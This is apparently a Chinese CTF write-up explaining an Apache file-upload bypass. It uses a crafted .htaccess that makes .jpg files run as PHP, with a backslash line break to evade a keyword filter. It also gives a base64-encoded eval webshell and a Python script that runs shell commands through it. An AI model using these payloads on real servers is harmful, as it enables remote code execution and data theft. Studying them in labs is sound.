对apache服务器环境下利用.htaccess配置文件完成文件上传的理解

.htaccess 文件是 Apache Web 服务器中的配置文件,用于控制服务器的行为。其格式非常简单,通常由一系列指令和规则组成

我们这里可以利用的就是把别的格式的文件当作php文件来执行

AddType application/x-httpd-php .jpg
  1. AddType

    • AddType 是 Apache 配置指令,用于为特定的文件扩展名指定 MIME 类型。MIME 类型(Multipurpose Internet Mail Extensions)用于指示浏览器如何处理某种类型的文件。
  2. application/x-httpd-php
    • application/x-httpd-php 是指定的 MIME 类型。在这里,它表示文件将被作为 PHP 脚本来处理。
    • 正常情况下,PHP 文件的 MIME 类型通常是 application/x-httpd-php,这意味着该文件应由 PHP 解析器处理,而不是由浏览器直接下载或展示。
  3. .jpg
    • .jpg 是目标文件的扩展名。在此指令中,它表示所有以 .jpg 结尾的文件。

整体作用

当这条指令被包含在 .htaccess 文件或 Apache 配置中时,它的效果是:

  • 任何请求后缀为 .jpg 的文件将被 Apache 服务器视作 PHP 文件进行处理。这意味着即使文件的扩展名是 .jpg,服务器仍然会将其当作 PHP 脚本执行,而不是作为普通的图像文件返回。

例题 polarctf 困难 上传

回到这道题,明白了htaccess的用法之后我们就可以传马了

script头可以绕过对<?的过滤,但是在php7之后这些标签都被移除了,因此可以采取编码的方式绕过,将我们要上传的一句话木马使用base64编码后进行上传

php肯定没法解析base64编码后的代码,所以在执行前需要进行base64解码,这里同样需要利用htaccess进行解码

php_value auto_append_file "php://filter/read=convert.base64-decode/resource=yjh.jpg"
  1. php_value

    • php_value 是一种指令,通常在 Apache 的 .htaccess 文件中使用,用于设置 PHP 的配置选项。这允许用户在特定目录下更改某些 PHP 设置,而不必修改全局的 php.ini 文件。
  2. auto_append_file
    • auto_append_file 是一个 PHP 配置选项,用于指定在每个脚本执行完毕后自动附加的文件。这意味着在每个 PHP 脚本结束时,指定的文件内容将被添加到输出中。
  3. "php://filter/read=convert.base64-decode/resource=yjh.jpg"
    • 这是一个特殊的流路径,使用了php:filter这个协议。具体来说,它做了以下几件事情:

      • read=convert.base64-decode:这是一个过滤器,指示 PHP 在读取文件时,对其执行 Base64 解码。即该路径会将文件的内容视作 Base64 编码的内容进行解码。
      • resource=yjh.jpg:这是要读取的资源,这里指定的文件是 yjh.jpg,即该 JPEG 文件。

整体作用

通过设置 auto_append_file 为这个流路径,PHP 在处理每个请求时:

  • 在执行完 PHP 脚本后,自动读取指定的 JPEG 文件 (yjh.jpg),并对其内容进行 Base64 解码。
  • 将解码后的内容附加到最终的输出中。

这里还要注意一个问题

由于本题过滤了文件内容中的file,所以我们需要利用反斜杠加换行绕过file过滤

在 PHP 和许多编程语言或配置文件中,反斜杠(\)可以用作行续符,允许将一条指令拆分为多行书写。这种方式可以在代码或配置中增强可读性,但是在某些情况下,它也可以作为一种简单的“绕过”机制,避免触发特定文本的过滤或识别。

通过在 file 和其后内容之间插入反斜杠并换行,关键词 file 被拆分为两部分,使得过滤机制不再能识别完整的 file 这个关键词。

例如,php_value auto_append_fi\ 作为一行,\le 在下一行,其实是在继续前一行的内容,从而构成了 auto_append_file由于过滤机制只检测单行,因此无法判断 file 是整个关键词的一部分。

php_value auto_append_fi\
le

至此本题思路结束

上传htaccess文件

AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=yjh.jpg"

上传base64编码后的一句话马文件

PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=

上传,访问/upload/yjh.jpg,传参,拿到flag

Exp

import requests
url='http://949c4480-402d-40c7-8119-4af0266f6c9e.www.polarctf.com:8090/upload/yjh.jpg'
data={'a':'system("cat /f*");'}
r=requests.post(url,data=data)
print(r.text)

对apache服务器环境下利用.htaccess配置文件完成文件上传的理解的更多相关文章

  1. Windows环境下用C#编程将文件上传至阿里云OSS笔记

    Windows环境下用C#编程将文件上传至阿里云OSS笔记 本系列文章由ex_net(张建波)编写,转载请注明出处. http://blog.csdn.net/ex_net/article/detai ...

  2. springmvc环境下使用ajaxfileupload.js进行文件上传

    controller: /* #region */ @RequestMapping(produces = "text/html;charset=UTF-8", value = &q ...

  3. XCode5环境下利用crash log调试线上Crash的流程

    1.前言 本文主要介绍在XCode5环境下,如何根据App自己生成的crashlog来调试真机上运行时产生的crash问题. 2. 步骤 (1)构造一段会crash的代码,并放到viewDidLoad ...

  4. windows下IIS+PHP解决大文件上传500错问题

    linux下改到iis+php后,上传大于2M就出500错,改了php.ini中的upload_max_filesize也不行,最后解决如下: 第一步:修改php.ini 上传大小限制 (以上传500 ...

  5. SpringMVC第五篇【方法返回值、数据回显、idea下配置虚拟目录、文件上传】

    Controller方法返回值 Controller方法的返回值其实就几种类型,我们来总结一下-. void String ModelAndView redirect重定向 forward转发 数据回 ...

  6. python利用socket写一个文件上传

    1.先将一张图片拖入‘文件上传’的目录下,利用socket把这张图片写到叫‘yuan’的文件中 2.代码: #模拟服务端 import subprocess import os import sock ...

  7. 利用Selenium实现图片文件上传的两种方式介绍

    在实现UI自动化测试过程中,有一类需求是实现图片上传,这种需求根据开发的实现方式,UI的实现方式也会不同. 一.直接利用Selenium实现 这种方式是最简单的一种实现方式,但是依赖于开发的实现. 当 ...

  8. 利用MultipartFile来进行文件上传

    这个例子实在SpringMVC的基础上完成的,因此在web.xml中需要配置 web.xml <!-- 配置Spring MVC的入口 DispatcherServlet,把所有的请求都提交到该 ...

  9. 4GB以上超大文件上传和断点续传服务器的实现

    随着视频网站和大数据应用的普及,特别是高清视频和4K视频应用的到来,超大文件上传已经成为了日常的基础应用需求. 但是在很多情况下,平台运营方并没有大文件上传和断点续传的开发经验,往往在网上找一些简单的 ...

  10. Apache Commons fileUpload实现文件上传之一

      需要两个jar包: commons-fileupload.jar Commons IO的jar包(本文使用commons-io-2.4.jar) 利用Servlet来实现文件上传. package ...

随机推荐

  1. 【面试题】实现 queryParse 函数,完成解析 URL 参数的功能

    问题:实现 queryParse 函数,完成解析 URL 参数的功能 /** * 问题:实现 queryParse 函数,完成解析 URL 参数的功能 * * 用法: * ```js * const ...

  2. 安装卸载GNOME

    只需要三步:sudo yum -y groups install "GNOME Desktop"sudo systemctl set-default graphical.targe ...

  3. Delphi 检测鼠标键盘多久没有活动

    function GetInputAwayTime():DWORD; var lpi:TLastInputInfo; begin lpi.cbSize := sizeof(lpi); GetLastI ...

  4. Redis 集群实现分布式缓存的示例操作流程【Redis 系列之五】

    〇.前言 Redis 集群的核心优势在于高可用性.可扩展性和高性能,特别适合需要处理大规模数据和高并发请求的应用场景. 本文先介绍了什么是 Redis 集群,然后通过示例,以手动和自动两种方式搭建集群 ...

  5. Python科学计算系列7—微分方程

    1.可分离变量方程 例1:求下列微分方程法通解 先化简此方程如下: 代码如下: from sympy import * x = symbols('x') f = symbols('f', cls=Fu ...

  6. Nginx日志拆分(linux环境下)

    1.新增shell脚本[nginx_log.sh],进行每日自动切割一次,存储在nginx文件夹下的logs下 #!/bin/bash #设置日志文件存放目录 LOG_HOME="/app/ ...

  7. Robot Framework自定义库的创建于应用(全新库)

    场景:新建库文件,库文件内新增方法,用于robot调用执行原始方法内不具备的能力.具体方法图下 1.找到目录C:\Python27\Lib\site-packages 2.新增文件夹"New ...

  8. Spark on K8s 在vivo大数据平台的混部实战

    作者:vivo 互联网大数据团队- Qin Yehai 在离线混部可以提高整体的资源利用率,不过离线Spark任务部署到混部容器集群需要做一定的改造,本文将从在离线混部中的离线任务的角度,讲述离线任务 ...

  9. DPDI(Dispatch PDI)kettle调度管理平台之实操演练第002讲-最强三件套之Dispatch PDI+PDI+PRD生成DPDI应用数据库数据字典

    DPDI实操演练第002讲 最强三件套之Dispatch PDI+PDI+PRD生成DPDI应用数据库数据字典 1.案例适用范围 Dispatch PDI资源仓库管理使用可参考 Dispatch ...

  10. web自动化的三大切换

    元素有时在另一个页面里查找元素却报错找不到元素,可能是因为要查找的元素不在原来所在的页面. 一.iframe切换 有些定位元素定位不到,是因为元素在新的iframe页面里,但是driver还停留在原来 ...